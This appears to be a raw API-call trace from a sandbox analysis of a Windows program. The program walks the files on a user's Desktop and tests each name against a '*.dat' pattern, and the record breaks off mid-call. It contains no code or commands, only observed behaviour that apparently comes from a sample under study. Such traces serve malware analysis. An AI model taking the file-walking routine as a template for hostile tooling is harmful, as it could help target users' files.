[0146.558] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0146.558] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x38) returned 0x32bad60 [0146.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", cchWideChar=56, lpMultiByteStr=0x32bad60, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpUsedDefaultChar=0x0) returned 56 [0146.558] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba810 [0146.558] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bad60 | out: hHeap=0x2360000) returned 1 [0146.558] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.558] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac48 [0146.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ac48, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.558] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac48 | out: hHeap=0x2360000) returned 1 [0146.559] PathMatchSpecW (pszFile="Mhr9", pszSpec="*.dat") returned 0 [0146.559] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba810 | out: hHeap=0x2360000) returned 1 [0146.559] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73907e0, ftCreationTime.dwHighDateTime=0x1d7a068, ftLastAccessTime.dwLowDateTime=0x75ea9d60, ftLastAccessTime.dwHighDateTime=0x1d7ae47, ftLastWriteTime.dwLowDateTime=0x75ea9d60, ftLastWriteTime.dwHighDateTime=0x1d7ae47, nFileSizeHigh=0x0, nFileSizeLow=0x11882, dwReserved0=0x0, dwReserved1=0x0, cFileName="W89TW0.jpg", cAlternateFileName="")) returned 1 [0146.559] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.559] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.559] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="W89TW0.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg" [0146.559] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.559] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.559] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="W89TW0.jpg" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg") returned="\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg" [0146.559] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604a0 [0146.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0146.559] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba3d8 [0146.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", cchWideChar=62, lpMultiByteStr=0x32ba3d8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", lpUsedDefaultChar=0x0) returned 62 [0146.559] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba5d0 [0146.559] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba3d8 | out: hHeap=0x2360000) returned 1 [0146.559] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.559] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab88 [0146.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ab88, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.559] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab88 | out: hHeap=0x2360000) returned 1 [0146.559] PathMatchSpecW (pszFile="W89TW0.jpg", pszSpec="*.dat") returned 0 [0146.560] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba5d0 | out: hHeap=0x2360000) returned 1 [0146.560] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73907e0, ftCreationTime.dwHighDateTime=0x1d7a068, ftLastAccessTime.dwLowDateTime=0x75ea9d60, ftLastAccessTime.dwHighDateTime=0x1d7ae47, ftLastWriteTime.dwLowDateTime=0x75ea9d60, ftLastWriteTime.dwHighDateTime=0x1d7ae47, nFileSizeHigh=0x0, nFileSizeLow=0x11882, dwReserved0=0x0, dwReserved1=0x0, cFileName="W89TW0.jpg", cAlternateFileName="")) returned 0 [0146.560] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0146.560] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.560] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x33) returned 0x32bad20 [0146.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", cchWideChar=51, lpMultiByteStr=0x32bad20, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpUsedDefaultChar=0x0) returned 51 [0146.560] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba8e8 [0146.560] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bad20 | out: hHeap=0x2360000) returned 1 [0146.560] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.560] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac30 [0146.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ac30, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.560] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac30 | out: hHeap=0x2360000) returned 1 [0146.561] PathMatchSpecW (pszFile="avdtAoxV8CAmzwyXqi1", pszSpec="*.dat") returned 0 [0146.561] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba8e8 | out: hHeap=0x2360000) returned 1 [0146.561] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de1b940, ftCreationTime.dwHighDateTime=0x1d7a531, ftLastAccessTime.dwLowDateTime=0x59225a40, ftLastAccessTime.dwHighDateTime=0x1d7a98f, ftLastWriteTime.dwLowDateTime=0x59225a40, ftLastWriteTime.dwHighDateTime=0x1d7a98f, nFileSizeHigh=0x0, nFileSizeLow=0x169f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEIQ6AJHyGUlXgnxWJ.avi", cAlternateFileName="DEIQ6A~1.AVI")) returned 1 [0146.561] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.561] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.561] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="DEIQ6AJHyGUlXgnxWJ.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi" [0146.561] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.561] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.561] lstrcatW (in: lpString1="\\", lpString2="DEIQ6AJHyGUlXgnxWJ.avi" | out: lpString1="\\DEIQ6AJHyGUlXgnxWJ.avi") returned="\\DEIQ6AJHyGUlXgnxWJ.avi" [0146.561] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.561] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x32bb0e0 [0146.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", cchWideChar=54, lpMultiByteStr=0x32bb0e0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", lpUsedDefaultChar=0x0) returned 54 [0146.561] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba8e8 [0146.561] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb0e0 | out: hHeap=0x2360000) returned 1 [0146.561] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.561] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac48 [0146.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ac48, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.561] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac48 | out: hHeap=0x2360000) returned 1 [0146.562] PathMatchSpecW (pszFile="DEIQ6AJHyGUlXgnxWJ.avi", pszSpec="*.dat") returned 0 [0146.562] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba8e8 | out: hHeap=0x2360000) returned 1 [0146.562] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0146.562] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.562] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.562] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini" [0146.562] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.562] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.562] lstrcatW (in: lpString1="\\", lpString2="desktop.ini" | out: lpString1="\\desktop.ini") returned="\\desktop.ini" [0146.562] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.562] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x33400d0 [0146.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0146.562] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.562] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.562] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.562] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab28 [0146.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab28, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.563] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab28 | out: hHeap=0x2360000) returned 1 [0146.563] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.dat") returned 0 [0146.563] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.563] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35827c90, ftCreationTime.dwHighDateTime=0x1d7a472, ftLastAccessTime.dwLowDateTime=0xe313cd50, ftLastAccessTime.dwHighDateTime=0x1d7af71, ftLastWriteTime.dwLowDateTime=0xe313cd50, ftLastWriteTime.dwHighDateTime=0x1d7af71, nFileSizeHigh=0x0, nFileSizeLow=0xbec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dw5n s d.swf", cAlternateFileName="DW5NSD~1.SWF")) returned 1 [0146.563] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.563] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.563] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="dw5n s d.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf" [0146.563] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.563] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.563] lstrcatW (in: lpString1="\\", lpString2="dw5n s d.swf" | out: lpString1="\\dw5n s d.swf") returned="\\dw5n s d.swf" [0146.563] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.563] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2c) returned 0x33400d0 [0146.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", cchWideChar=44, lpMultiByteStr=0x33400d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", lpUsedDefaultChar=0x0) returned 44 [0146.563] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.563] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.563] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.563] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aac8 [0146.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aac8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.564] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aac8 | out: hHeap=0x2360000) returned 1 [0146.564] PathMatchSpecW (pszFile="dw5n s d.swf", pszSpec="*.dat") returned 0 [0146.564] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.564] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89c8bd0, ftCreationTime.dwHighDateTime=0x1d7a3c4, ftLastAccessTime.dwLowDateTime=0x109c61e0, ftLastAccessTime.dwHighDateTime=0x1d7a669, ftLastWriteTime.dwLowDateTime=0x109c61e0, ftLastWriteTime.dwHighDateTime=0x1d7a669, nFileSizeHigh=0x0, nFileSizeLow=0xa4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ett5QjnXB4TVvQ5gQv.xls", cAlternateFileName="ETT5QJ~1.XLS")) returned 1 [0146.564] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.564] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.564] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Ett5QjnXB4TVvQ5gQv.xls" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls" [0146.564] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.564] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.564] lstrcatW (in: lpString1="\\", lpString2="Ett5QjnXB4TVvQ5gQv.xls" | out: lpString1="\\Ett5QjnXB4TVvQ5gQv.xls") returned="\\Ett5QjnXB4TVvQ5gQv.xls" [0146.564] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.564] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x32bb060 [0146.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", cchWideChar=54, lpMultiByteStr=0x32bb060, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", lpUsedDefaultChar=0x0) returned 54 [0146.564] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba540 [0146.564] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb060 | out: hHeap=0x2360000) returned 1 [0146.564] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.564] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aae0 [0146.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aae0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.564] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aae0 | out: hHeap=0x2360000) returned 1 [0146.565] PathMatchSpecW (pszFile="Ett5QjnXB4TVvQ5gQv.xls", pszSpec="*.dat") returned 0 [0146.565] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba540 | out: hHeap=0x2360000) returned 1 [0146.565] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7598620, ftCreationTime.dwHighDateTime=0x1d7aade, ftLastAccessTime.dwLowDateTime=0xbaa38dc0, ftLastAccessTime.dwHighDateTime=0x1d7acc3, ftLastWriteTime.dwLowDateTime=0xbaa38dc0, ftLastWriteTime.dwHighDateTime=0x1d7acc3, nFileSizeHigh=0x0, nFileSizeLow=0xa96b, dwReserved0=0x0, dwReserved1=0x0, cFileName="F3Jg6iOM3u.avi", cAlternateFileName="F3JG6I~1.AVI")) returned 1 [0146.565] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.565] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.565] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="F3Jg6iOM3u.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi" [0146.565] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.565] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.565] lstrcatW (in: lpString1="\\", lpString2="F3Jg6iOM3u.avi" | out: lpString1="\\F3Jg6iOM3u.avi") returned="\\F3Jg6iOM3u.avi" [0146.565] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 